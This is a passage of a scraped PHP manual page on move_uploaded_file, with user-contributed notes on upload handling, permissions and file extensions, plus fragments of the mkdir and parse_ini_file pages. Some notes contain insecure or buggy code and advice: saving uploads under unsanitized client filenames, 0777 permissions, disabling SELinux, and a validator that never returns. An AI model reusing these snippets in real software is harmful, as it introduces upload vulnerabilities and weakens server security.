mkdir('c:'.DIRECTORY_SEPARATOR.'a'.
DIRECTORY_SEPARATOR.'b'.
DIRECTORY_SEPARATOR.'c'.
DIRECTORY_SEPARATOR.'d', 0775, true);
webmaster2007 at home dot nl 28-Apr-2005 05:27
Maybe you can use this:

<?php
    function open_dir($dir, $newdir){    //The function that will copy the files
        if(file_exists($dir) && file_exists($newdir)){
            $open_dir=opendir($dir);
            while (false !== ($file = readdir($open_dir))) {
                if($file != "." && $file != ".."){
                    if(file_exists($newdir."/".$file) && filetype($newdir."/".$file."/") != "dir"){
                        unlink($newdir."/".$file);
                    }
                    if(filetype($dir."/".$file."/") == "dir"){
                        if(!file_exists($newdir."/".$file."/")){
                            mkdir($newdir."/".$file."/");
                            open_dir($dir."/".$file."/", $newdir."/".$file."/");
                        }
                    }
                    else {
                        copy($dir."/".$file."/", $newdir."/".$file);
                    }
                }
            }
        }
    }

    open_dir("Your source map", "Your destination map"); //Here you can fill in your source en destination map
?>
Protik Mukherjee 03-Mar-2005 06:29
mkdir, file rw, permission related notes for Fedora 3////
If you are using Fedora 3 and are facing permission problems, better check if SElinux is enabled on ur system. It add an additional layer of security and as a result PHP cant write to the folder eventhough it has 777 permissions. It took me almost a week to deal with this!

If you are not sure google for SElinux or 'disabling SELinux' and it may be the cure! Best of luck!
aulbach at unter dot franken dot de 22-Jul-1999 11:37
This is an annotation from Stig Bakken:

The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>


Moves an uploaded file to a new location

  • « mkdir
  • parse_ini_file »
  • PHP Manual
  • Filesystem Functions
  • Moves an uploaded file to a new location

move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5)

move_uploaded_file — Moves an uploaded file to a new location

Description

bool move_uploaded_file ( string $filename , string $destination )

This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.

This sort of check is especially important if there is any chance that anything done with uploaded files could reveal their contents to the user, or even to other users on the same system.

Parameters

filename

The filename of the uploaded file.

destination

The destination of the moved file.

Return Values

Returns TRUE on success.

If filename is not a valid upload file, then no action will occur, and move_uploaded_file() will return FALSE.

If filename is a valid upload file, but cannot be moved for some reason, no action will occur, and move_uploaded_file() will return FALSE. Additionally, a warning will be issued.

Examples

Example #1 Uploading multiple files

<?php
$uploads_dir = '/uploads';
foreach ($_FILES["pictures"]["error"] as $key => $error) {
    if ($error == UPLOAD_ERR_OK) {
        $tmp_name = $_FILES["pictures"]["tmp_name"][$key];
        $name = $_FILES["pictures"]["name"][$key];
        move_uploaded_file($tmp_name, "$uploads_dir/$name");
    }
}
?>

Notes

Note:

move_uploaded_file() is both safe mode and open_basedir aware. However, restrictions are placed only on the destination path as to allow the moving of uploaded files in which filename may conflict with such restrictions. move_uploaded_file() ensures the safety of this operation by allowing only those files uploaded through PHP to be moved.

Warning

If the destination file already exists, it will be overwritten.

See Also

  • is_uploaded_file() - Tells whether the file was uploaded via HTTP POST
  • rename() - Renames a file or directory
  • See Handling file uploads for a simple usage example

User Contributed Notes

Chris Hecker 09-May-2014 03:26
Re: Florian S. in H. an der E. [.de]'s point about directory stick bits, I got hit by this a bunch since I use groups and dir sticky bits to secure my site, so I wrote this replacement, which others might find useful:

/**
 * obey sticky bit with move_uploaded_file
 *
 */
function wp_move_uploaded_file( $filename, $destination ) {
  define("STICKYGRPDIR",042010);
  $stat = stat(dirname($destination));
  if(move_uploaded_file($filename,$destination)) {
    if($stat['mode'] & STICKYGRPDIR) {
      return chgrp($destination,$stat['gid']);
    }
  } else {
    return false;
  }
}
Yousef Ismaeil Cliprz 18-Feb-2013 07:59
Security tips you must know before use this function :

First : make sure that the file is not empty.

Second : make sure the file name in English characters, numbers and (_-.) symbols, For more protection.

You can use below function as in example

<?php

/**
 * Check $_FILES[][name]
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz
 */
function check_file_uploaded_name ($filename)
{
    (bool) ((preg_match("`^[-0-9A-Z_\.]+$`i",$filename)) ? true : false);
}

?>

Third : make sure that the file name not bigger than 250 characters.

as in example :

<?php

/**
 * Check $_FILES[][name] length.
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz.
 */
function check_file_uploaded_length ($filename)
{
    return (bool) ((mb_strlen($filename,"UTF-8") > 225) ? true : false);
}

?>

Fourth: Check File extensions and Mime Types that you want to allow in your project. You can use : pathinfo() http://php.net/pathinfo

or you can use regular expression for check File extensions as in example

#^(gif|jpg|jpeg|jpe|png)$#i

or use in_array checking as

<?php

$ext_type = array('gif','jpg','jpe','jpeg','png');

?>

You have multi choices to checking extensions and Mime types.

Fifth: Check file size and make sure the limit of php.ini to upload files is what you want, You can start from http://www.php.net/manual/en/ini.core.php#ini.file-uploads

And last but not least : Check the file content if have a bad codes or something like this function http://php.net/manual/en/function.file-get-contents.php.

You can use .htaccess to stop working some scripts as in example php file in your upload path.

use :

AddHandler cgi-script .php .pl .jsp .asp .sh .cgi
Options -ExecCGI

Do not forget this steps for your project protection.
marcelwoo 31-Mar-2012 01:41
One more thing I want to mention about the post_max_size setting in php.ini that nobody else has mentioned.
If you try to upload a file larger than the post_max_size value (or multi files), the page will only refresh itself and no errors are thrown. It took me a while to figure the reason out.
matthias dot dailey at gmail dot com 22-Jul-2011 10:26
The destination directory must exist; move_uploaded_file() will not automatically create it for you.
labsy at seznam dot org 04-May-2011 01:07
A note for PHP on Windows IIS platform:
PHP does obviously not like directory traversing among partitions, so if you set upload_tmp_dir to be on different partition as php-cgi.exe or php.exe is, upload_tmp_dir will NOT be accessible for file uploads! You will get ERROR 6 on any attempt to upload file, and file size will be 0.
Resolution is to have upload_tmp_dir set to a path under PHP install folder.
...and make sure this folder (and also session_save_path folder) has at least read/write permissions granted to AppPool owner (usually NETWORK SERVICE) and IIS web user (by default IUSR_).
wilcobeekhuizen at gmail dot com 30-Mar-2011 09:55
When uploading a file with a very long filename, for example 255 characters, move_uploaded_file fails. The longest file I've succesfully uploaded has a 247 character filename. So, although you can create a 250 character filename locally the server may not be able to move it.
Ray.Paseur sometimes uses Gmail 18-Aug-2010 05:42
You can only move the uploaded file once.  You can use copy() if you need the file in more than one place.
<?php // RAY_temp_upload_example.php
error_reporting(E_ALL);
echo "<pre>" . PHP_EOL;

// IF A FILE HAS BEEN UPLOADED
if (!empty($_FILES))
{
    // SHOW THE UPLOADED FILES
    print_r($_FILES);

    // TRY TO MOVE THE FILE TWICE - SECOND MOVE RETURNS FALSE
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;

    // SHOW THE UPLOADED FILES AFTER THE MOVE - NO VISIBLE CHANGE
    print_r($_FILES);
}

// END OF PHP, PUT UP THE HTML FORM TO GET THE FILE
?>
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="300000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
brentwientjes at NOSPAM dot comcast dot net 15-Feb-2010 08:34
I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);     // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
gotrunko at hotmail dot com 13-Nov-2009 01:50
This function can upload many files whitout parameters in the declaration.
If one of them can not be uploaded, the function returns false and deletes all files that have been sent

<?php
function uploadFiles() {
    $num_args = func_num_args();
    $arg_list = func_get_args();

    $valReturn = false;
    $i = 0;
    $unlinkElement = array();
    foreach($arg_list as $key=>$value) {
        if(is_array($value) AND is_array($value[0])) {
            if($value[0]['error'] == 0 AND isset($value[1])) {
                if($value[0]['size'] > 0 AND $value[0]['size'] < 500000) {
                    $typeAccepted = array("image/jpeg", "image/gif", "image/png");
                    if(in_array($value[0]['type'],$typeAccepted)) {
                        $destination = $value[1];
                        if(isset($value[2])) {
                            $extension = substr($value[0]['name'] , strrpos($value[0]['name'] , '.') +1);
                            $destination .= (str_replace(" ","-",$value[2])).".".$extension;
                        } else {
                            $destination .= $value[0]['name'];
                        }

                        if(move_uploaded_file($value[0]['tmp_name'],$destination)) {
                            $i++;
                            $unlinkElement[] = $destination;
                        }
                    }
                }
            }
        }
    }
    if($i == $num_args) {
        $valReturn = true;
    } else {
        foreach($unlinkElement as $value) {
            unlink($value);
        }
    }
    return $valReturn;
}
?>

To use this function you must specify an array with min two parameters like that.
NAME is an optional parameter !
uploadFiles(array("FILES","DESTINATION","NAME"));

<?php

$file_one = array($_FILES['file_one'],$destination,$name_one);
$file_two = array($_FILES['file_two'],$destination); //The name will be the same that $_FILES[]['name']

if(uploadFiles($file_one,$file_two)) {
    echo "true";
} else {
    echo "false";
}
?>
chatchaw at tot dot co dot th 19-Oct-2009 09:03
When you use move_uploaded_file function to upload a file with utf-8  filename to linux system, you probably check your result by browsing to see the file in the target directory so please make sure that your terminal emulator or your samba configuration is set the character encoding to utf-8 otherwise  your file will be shown as ?????? (unreadable character).
brentwientjes at NOSPAM dot comast dot net 18-Oct-2009 09:21
I have looked at a lot of the file upload code listed below and other php documentation and have developed hopefully a robust single file upload routine.  I will later update with a multi file upload.  I have modestly tested the code.

<?php
//  5MB maximum file size
$MAXIMUM_FILESIZE = 5 * 1024 * 1024;
//  Valid file extensions (images, word, excel, powerpoint)
$rEFileTypes =
  "/^\.(jpg|jpeg|gif|png|doc|docx|txt|rtf|pdf|xls|xlsx|
        ppt|pptx){1}$/i";
$dir_base = "/your/file/location/";

$isFile = is_uploaded_file($_FILES['Filedata']['tmp_name']);
if ($isFile)    //  do we have a file?
   {//  sanatize file name
    //     - remove extra spaces/convert to _,
    //     - remove non 0-9a-Z._- characters,
    //     - remove leading/trailing spaces
    //  check if under 5MB,
    //  check file extension for legal file types
    $safe_filename = preg_replace(
                     array("/\s+/", "/[^-\.\w]+/"),
                     array("_", ""),
                     trim($_FILES['Filedata']['name']));
    if ($_FILES['Filedata']['size'] <= $MAXIMUM_FILESIZE &&
        preg_match($rEFileTypes, strrchr($safe_filename, '.')))
      {$isMove = move_uploaded_file (
                 $_FILES['Filedata']['tmp_name'],
                 $dir_base.$safe_filename);}
      }
   }
?>

I use $isFile and $isMove later in the code for error recording.

Make sure your system has the appropriate file loading limits. This caused a lot of headeaches trying to figure out why some files loaded and some did not.   In my case I have an .htaccess file in the root of the web site with:

php_value post_max_size 16M
php_value upload_max_filesize 6M

You may also need to extend the execution time depending upon the amount of data being transferred.

(sorry if spacing of code is a little off.  it was hard to make the note editor like the code style.)
omgmain at gmail dot com 31-Jan-2009 05:23
This function should run perfectly, but just in case there are errors, this should help.
1 : Check that the syntax is correct. Remember, lines end with ;
2 : Make sure that the file you're moving exists, and that the place you're writing to is...well, writable. Sometimes, for instance with mac, they make the file so that it can only be accessed by the system, and you. You need to make it available for everyone.
3 : Make sure that the file size of the file you're uploading is under the max upload size. You can change the allowed file size on the php.ini file. The default value is 2M (M as in Megabytes). Also make sure that uploading is allowed
---
If you don't have any errors, then give yourself a pat on the back. BUT, to make your script more secure, put in your file:
str_replace('.', '', $_FILES['file name']['name']);
str_replace('/', '', $_FILES['file name']['name']);
Replace file name with the file name, and you're good to go!
Antoine 24-Nov-2008 09:44
I had exactly than" tnp at shaman dot co dot uk" : move_uploaded_file() is either asynchronous or uses some kind of virtual filesystem. But you may encounter big problems when trying to access a file just uploaded, especially is you tried to change the name.
If you have problems where the uploaded file seems unaccessible, try to use copy() instead.
Dan Delaney 13-Oct-2008 10:41
For those using PHP on Windows and IIS, you SHOULD set the "upload_tmp_dir" value in php.ini to some directory around where your websites directory is, create that directory, and then set the same permissions on it that you have set for your websites directory. Otherwise, when you upload a file and it goes into C:\WINDOWS\Temp, then you move it to your website directory, its permissions will NOT be set correctly. This will cause you problems if you then want to manipulate that file with something like ImageMagick's convert utility.
Mark Kazemier 27-Aug-2008 06:36
I have the same problem as the person two comments below me. When I use the move_uploaded_file function the permissions for the file are set to 0600. No matter what configurations you set.

I searched the internet and I found more people with the same problems, but no solutions. I set the umask of apache to 013 and still the files were set to 0600.

The copy function solves the problem. Another way to solve this problem is using the chmod function after uploading.
agan0052 at hotmail dot com 23-Aug-2008 09:22
<?php

if(isset($_FILES['uploaded'])){
$target = "galleries/".basename($_FILES['uploaded']['name']) ;
print_r($_FILES);

if(move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)) echo "OK!";//$chmod o+rw galleries

}
else{
 echo "<form enctype='multipart/form-data' action='CodeTool.php' method='POST'>";
 echo "File:<input name='uploaded' type='file'/><input type='submit' value='Upload'/>";
 echo "</form>";
}

?>
Florian S. in H. an der E. [.de] 17-Aug-2008 11:02
move_uploaded_file (on my setup) always makes files 0600 ("rw- --- ---") and owned by the user running the webserver (owner AND group).
Even though the directory has a sticky bit set to the group permissions!
I couldn't find any settings to change this via php.ini or even using "umask()".

I want my regular user on the server to be able to "tar cjf" the directory .. which would fail on files totally owned by the webserver-process-user;
the "copy(from, to)" function obeys the sticky-bit though!
jphansen at uga dot edu 26-Mar-2008 04:41
I was getting error code 1 (http://www.php.net/manual/en/features.file-upload.errors.php), indicating that the file exceeded upload_max_filesize. To fix this, run <?php ini_set("upload_max_filesize", "100M"); ?> (then restart apache) changing the second argument to your limit.
iim dot vxk at gmail dot com 07-Sep-2007 11:38
when you get this 2 Warnings - paths are a real sample - ::

-
move_uploaded_file(/uploads/images/sample.png) [function.move-uploaded-file]: failed to open stream: No such file or directory in /scripts/php/system/upload-file.php on line X
-

and

-
move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/somefilename' to '/uploads/images/sample.png' in /scripts/php/system/upload-file.php on line X
-

probably the path '/uploads/images/sample.png' is incomplete, in my case the complet path is "/home/x-user/public_html/uploads/images/sample.png"

you can use getcwd() to know the current working directory.

:)
nlgordon at iastate dot edu 16-Jul-2007 08:29
Just a helpful comment.  If you have open_basedir set then you must set upload_tmp_dir to somewhere within the open_basedir.  Otherwise the file upload will be denied.  move_uploaded_file might be open_basedir aware, but the rest of the upload process isn't.
bogusred 10-Jun-2007 10:58
If you have a directory in a *nix environment where you store all of your file uploads and your php script only seems to work when permissions for that directory are set to 777, here's how to fix it so that you can have the security benefits of 755 while still allowing your php scripts to work, including the move_uploaded_file().

through shell access, navigate to the directory that contains your uploads folder and run the following 2 commands:
chown -R nobody uploaddir
chmod -R 755 uploaddir

Replace 'uploaddir' with the name of your uploads directory. The first command changes the owner of the directory and files to 'nobody' which is what php operates under. The second changes the folder and files to only allow user access to writing. This is much more secure.

Hopefully this will help someone out there who had the same problem as me.
masahigo at gmail dot com 30-May-2007 05:49
I found a great resource concerning uploads with PHP:

http://www.radinks.com/upload/config.php

They explain and tell how to optimize PHP installation to handle large file uploads. Helped me a lot!
info at arpadh dot hu 04-May-2007 08:02
Values upload_max_filesize and post_max_size (ie. php.ini values) cannot be modified in runtime with ini_set() function.
If you are using Apache web server, use .htaccess files with an IfModule replacing values corresponding to your file size and PHP version:

<IfModule mod_php4.c>
php_value upload_max_filesize 50M
php_value post_max_size 50M
</IfModule>

- means 50MB upload limit.
booc0mtaco at gmail dot com 19-Apr-2007 05:45
Also, make sure that the setting for the post_max_size allows for a proper file size range.

post_max_size = 128M ; Expands the size of POST data for file uploads
guy at neonxero dot net 22-Mar-2007 04:47
I could be wrong, but I usualy use

$uploadext = strtolower(strrchr($imagename,"."));

to find the file extension when uploading, as opposed to explode().
Harmor 07-Mar-2007 06:38
the dot only dot storm at gmail dot com wrote:
>
> In addition to the file extension checking. A simply way
> of getting the extension (regardless of size):
>
> $efilename = explode('.', $filename);
> $ext = $efilename[count($efilename) - 1];
>

How about:

$ext = end(explode('.',$filename));
dev at rising9 dot com 06-Mar-2007 02:07
Can you explain more, how i can change the max memory size varible for the large file can work with move_uploaded_file()?
Thanks a lot!
03-Feb-2007 04:32
If you find that large files do not upload in PHP even though you've changed the max_upload_size , this is because you need to change the max memory size varible too. The entire file is loaded into memory before it is saved to disk.
shacker at birdhouse dot org 10-Sep-2006 09:28
If you're dealing with files uploaded through some external FTP source and need to move them to a final destination, searching php.net for "mv" or "move" won't get you what you want. You want the rename() function.

http://www.php.net/manual/en/function.rename.php

(move_uploaded_file() won't work, since the POST vars won't be present.)
Rob Szarka 23-Aug-2006 03:18
Apparently the warning above might better be written "If the destination file already exists, it will be overwritten ... regardless of the destination file's permissions."

In other words, move_uploaded_file() executes as if it's root, not the user under which the web server is operating or the owner of the script that's executing.
sergeygrinev at mail dot ru 20-Apr-2006 11:04
small typo:

$fulldest = $dest.$newfilename;

show be

$fulldest = $dest.$filename;

or you would have infinite loop.
Zarel 14-Apr-2006 03:12
nouncad at mayetlite dot com posted a function that uploaded a file, and would rename it if it already existed, to filename[n].ext

It only worked for files with extensions exactly three letters long, so I fixed that (and made a few other improvements while I was at it).

<?php
// Usage: uploadfile($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name'])
function uploadfile($origin, $dest, $tmp_name)
{
  $origin = strtolower(basename($origin));
  $fulldest = $dest.$origin;
  $filename = $origin;
  for ($i=1; file_exists($fulldest); $i++)
  {
    $fileext = (strpos($origin,'.')===false?'':'.'.substr(strrchr($origin, "."), 1));
    $filename = substr($origin, 0, strlen($origin)-strlen($fileext)).'['.$i.']'.$fileext;
    $fulldest = $dest.$newfilename;
  }

  if (move_uploaded_file($tmp_name, $fulldest))
    return $filename;
  return false;
}
?>
jessy dot diamondman at gmail dot com 05-Apr-2006 06:29
I am pretty new, and am having upload problems myself, but I think I can help out ffproberen2 at dodgeit dot com with his premission denied errors. I had these two, and I had to change the upload directory, not the tmp_upload_dir or what ever it is called. The move_uploaded_file meathod takes an upload location as the last parameter. I am running a bundled package of Apache, Php, mySQL and so on, and on mine, specifing a directory of '' will upload it into C:\Program Files\xampp\apache (my PC is my experimental server, I will get linux, but got to obtain it and internet cuts off after 196mb so can't download it) even though php file is in C:\Program Files\xampp\htdocs\xampp\jessyexum\upload_client.php.

This is a code that I found and then modified, hope it can help. It dosn't always upload every file type giving me an error #2.

<?php
$uploaddir = '';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
} else {
   echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";
?>
j dot m dot thomas at NOSPAM dot blueyonder dot co dot uk 16-Feb-2006 09:26
To retrieve the file extension, and various other information about the path, it is easiest to use the pathinfo function.

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
?>

Would produce:

/www/htdocs
index.html
html

http://uk.php.net/manual/en/function.pathinfo.php
adam at darkhousemedia dot com 03-Feb-2006 07:35
To retrieve the file extension, I think this example makes more sense than the one below.

$ext = explode(".", $file);
$ext = array_pop($ext);

It doesn't have to count() the array and then subtract 1 to point to the proper array element, it simply isolates the last element of the array, and discards everything else.
calamitoso at gmail dot com 31-Jan-2006 08:10
to separate (for example) images from other file types among the uploaded files you can check the MIME type also (thus making the file extension check unnecessary)

$temp = strpos($_FILES["pic"]["type"], "image");
if ($rep===FALSE){
   //the strpos function will return a boolean "false" ONLY if the needle string is not found within the haystack
   echo "is not an image";
}else{
   echo "is an image";
}
mancow at macfilez dot net 10-Jan-2006 06:31
To nouncad at mayetlite dot com,

That function will work fine for files with a 3-character file extension.  However, it is worth noting that there are valid, registered file extensions that are longer than 3 characters.  For example, a JPEG file can be denoted by *.jpg (and others), but it can also have *.jpeg as a valid extension.  Check out http://www.filext.com/ for a good reference of file extensions.

The best bet to me would be parsing the uploaded file's name ($_FILES['uploadedfile']['name']) based on the presence of dots.  Another wrench in the gears:  a file can have dots in the filename.  That's easy enough to handle -- just explode() the file name and hope that the last element in the array it gives you is the file extension (you can always validate it if you're so inclined).  Then just piece it together in a string accordingly by stepping through the array (don't forget to add those dots back to where they were!), appending a guaranteed unique string of characters (or enumerate it like you were doing, keeping track via a loop), and finally tacking on the file extension.

You may have other mechanisms for verifying a file's extension, such as a preg_match on the whole name, using something like "/\\.(gif|jpg|jpeg|png|bmp)$/i" (more can, of course, be added if you so desire) for the most common types of images found on the web.

For blindly guaranteeing an uploaded file will be uniquely named, this seems like a fantastic way to go.  Enjoy!
AT-HE (at_he AT hotm4il DOT com) 16-Dec-2005 07:28
---------
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...

r: It could be because of your max execution time.
----------

try changing the value of both post_max_size and upload_max_filesize
nouncad at mayetlite dot com 14-Dec-2005 02:30
Great!! my first note here...

This function upload a file.
If file exist, create a copy as "filename[n].ext"

<?php
function subirFichero($origen, $destinoDir, $ftemporal) {
    $origen = strtolower(basename($origen));

    $destinoFull = $destinoDir.$origen;
    $frand = $origen;
    $i = 1;

    while (file_exists( $destinoFull )) {
        $file_name         = substr($origen, 0, strlen($origen)-4);
        $file_extension  = substr($origen, strlen($origen)-4, strlen($origen));
        $frand = $file_name."[$i]".$file_extension;
        $destinoFull = $destinoDir.$frand;
        $i++;
    }

    if (move_uploaded_file($ftemporal, $destinoFull))    return $frand;
    else                                                 return "0";
}
?>
ineedmynetwork.com 07-Nov-2005 10:27
Microsoft returns image/pjpeg not image/jpg when using $_FILES['imageName']['type'];
05-Nov-2005 12:56
[quote]
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...
[/quote]

It could be because of your max execution time.
jest3r at mtonic dot net 20-Oct-2005 06:10
It seems that move_uploaded_file use the GROUP permissions of the parent directory of the tmp file location, whereas a simple "copy" uses the group of the apache process. This could create a security nighmare if your tmp file location is owned by root:wheel
mikelone 06-Sep-2005 05:46
If the user try to upload a too bigger file then the upload procedure will fail even if u have established an error message.
How to avoid this problem? there's my solution:

(max_file_size = 2,50 MB)

$fsize = $_FILES["userfile"]["size"];

if($fsize == 0 || $fsize > 2621000) exit("keep the filesize under 2,50MB!!");

When the size is bigger than the MAX_FILE_SIZE field, the value of $fsize is equal to 0 (zero) ......
espiao at gmail dot com 27-Jul-2005 04:25
/**
 * This function moves the archives and directoryes of a directory of
 * origin for a directory destination being able replace them or not.
 **/

function mvdir($oldDir, $newDir, $replaceFiles = true) {

    if ($oldDir == $newDir) {
        trigger_error("Destination directory is equal of origin.");
        return false;
    }

    if (!($tmpDir = opendir($oldDir))) {
        trigger_error("It was not possible to open origin directory.");
        return false;
    }

    if (!is_dir($newDir)) {
        trigger_error("It was not possible to open destination directory.");
        return false;
    }

    while (($file = readdir($tmpDir)) !== false) {

        if (($file != ".") && ($file !== "..")) {

            $oldFileWithDir = $oldDir . $file;
            $newFileWithDir = $newDir . $file;

            if (is_dir($oldFileWithDir)) {

                @mkdir($newFileWithDir."/", 0777);
                @mvdir($oldFileWithDir."/", $newFileWithDir."/", $replaceFiles);
                @rmdir($oldFileWithDir);

            }
            else {
                if (file_exists($newFileWithDir)) {
                    if (!$replaceFiles) {

                        @unlink($oldFileWithDir);
                        continue;

                    }
                }

                @unlink($newFileWithDir);
                @copy($oldFileWithDir, $newFileWithDir);
                @chmod($newFileWithDir, 0777);
                @unlink($oldFileWithDir);

            }
        }
    }

    return true;

}

/**
 * This is an example of move with replace files on destination folder if
 * exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/");

/**
 * This is an example of move without replace files on destination
 * folder if  exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/", false);
user at php dot net 01-Mar-2005 11:54
Giving the directory 777 permission is not a good idea for security reasons, it would be better to create the directory using "mkdir()".

That will make php user (usually "nobody") the owner of the directory, and permissions will not be a problem.
Michel S 16-Feb-2005 06:41
I once had a problem with this function. File was uploaded correctly, but I still had to chmod the file afterwards. It could not be used otherwise.

Michel S
allan666 at NOSPAM dot gmail dot com 17-Dec-2004 07:35
On the Fedora Core 3 Linux distribution, you may get a "failed to open stream: Permission denied in ..." message. I fact changing the permission of the directory will not work (even if you set to 0777). It is because of the new SELinux kernel that allow apache user to write only in /tmp dir (I think). In order to solve the problem you must to disable the SELinux (at least for apache service) to allow the server to write in other directories. To do that, run the system-config-securitylevel app and disable the SE to apache service. Reboot your system and continue your work. Hope it helps!
froid_nordik at sympatico dot ca 04-Jun-2004 06:26
Make sure the directory you are moving the file to exists before using this command.
sauron at nospam on morannon dot org 08-Mar-2004 02:20
An extension only does not really tell you what type of file it really is. I can easily rename a .jpg file to a .zip file and make the server think it is a ZIP file with webmaster kobrasrealm's code.

A better way is to use the Linux utility "file" to determine the file type. Although I'm aware that some users might use Windows on their webservers, I thought it's worth  mentioning the utility here. Using the backtick operators and preg_matches on the output, you can easily determine the file type safely, and fix the extension when necessary.
mail at johan dot it 28-Feb-2004 11:14
Warning: If you save a md5_file hash in a database to keep record of uploaded files, which is usefull to prevent users from uploading the same file twice, be aware that after using move_uploaded_file the md5_file hash changes! And you are unable to find the corresponding hash and delete it in the database, when a file is deleted.
09-Nov-2003 04:54
The example to find file extension bellow is quite confusing and its using to much code for a much simpler solution. Which is in example:

$file_parts = pathinfo('dir/' . $_FILES['file']['name']);
$file_extension = strtolower($file_parts['extension']);

The 'dir/' part is only to get a valid path.


Parse a configuration file

  • « move_uploaded_file
  • parse_ini_string »
  • PHP Manual
  • Filesystem Functions
  • Parse a configuration file

parse_ini_file

(PHP 4, PHP 5)

parse_ini_file — Parse a configuration file

Description

array parse_ini_file ( string $filename [, bool $process_sections = false [, int $scanner_mode = INI_SCANNER_NORMAL ]] )

parse_ini_file() loads in the ini file specified in filename, and returns the settings in it in an associative array.

The structure of the ini file is the same as the php.ini's.

Parameters

filename

The filename of the ini file being parsed.

process_sections

By setting the process_sections parameter to TRUE, you get a multidimensional array, with the section names and settings included. The default for process_sections is FALSE

scanner_mode

Can either be INI_SCANNER_NORMAL (default) or INI_SCANNER_RAW. If INI_SCANNER_RAW is supplied, then option values will not be parsed.

Return Values

The settings are returned as an associative array on success, and FALSE on failure.

Changelog

Version | Description
5.3.0 | Added optional scanner_mode parameter. Single quotes may now be used around variable assignments. Hash marks (#) may no longer be used as comments and will throw a deprecation warning if used.
5.2.7 | On syntax error this function will return FALSE rather than an empty array.
5.2.4 | Keys and section names consisting of numbers are now evaluated as PHP integers thus numbers starting by 0 are evaluated as octals and numbers starting by 0x are evaluated as hexadecimals.
5.0.0 | Values enclosed in double quotes can contain new lines.
4.2.1 | This function is now affected by safe mode and open_basedir.

Examples

Example #1 Contents of sample.ini

; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

Example #2 parse_ini_file() example

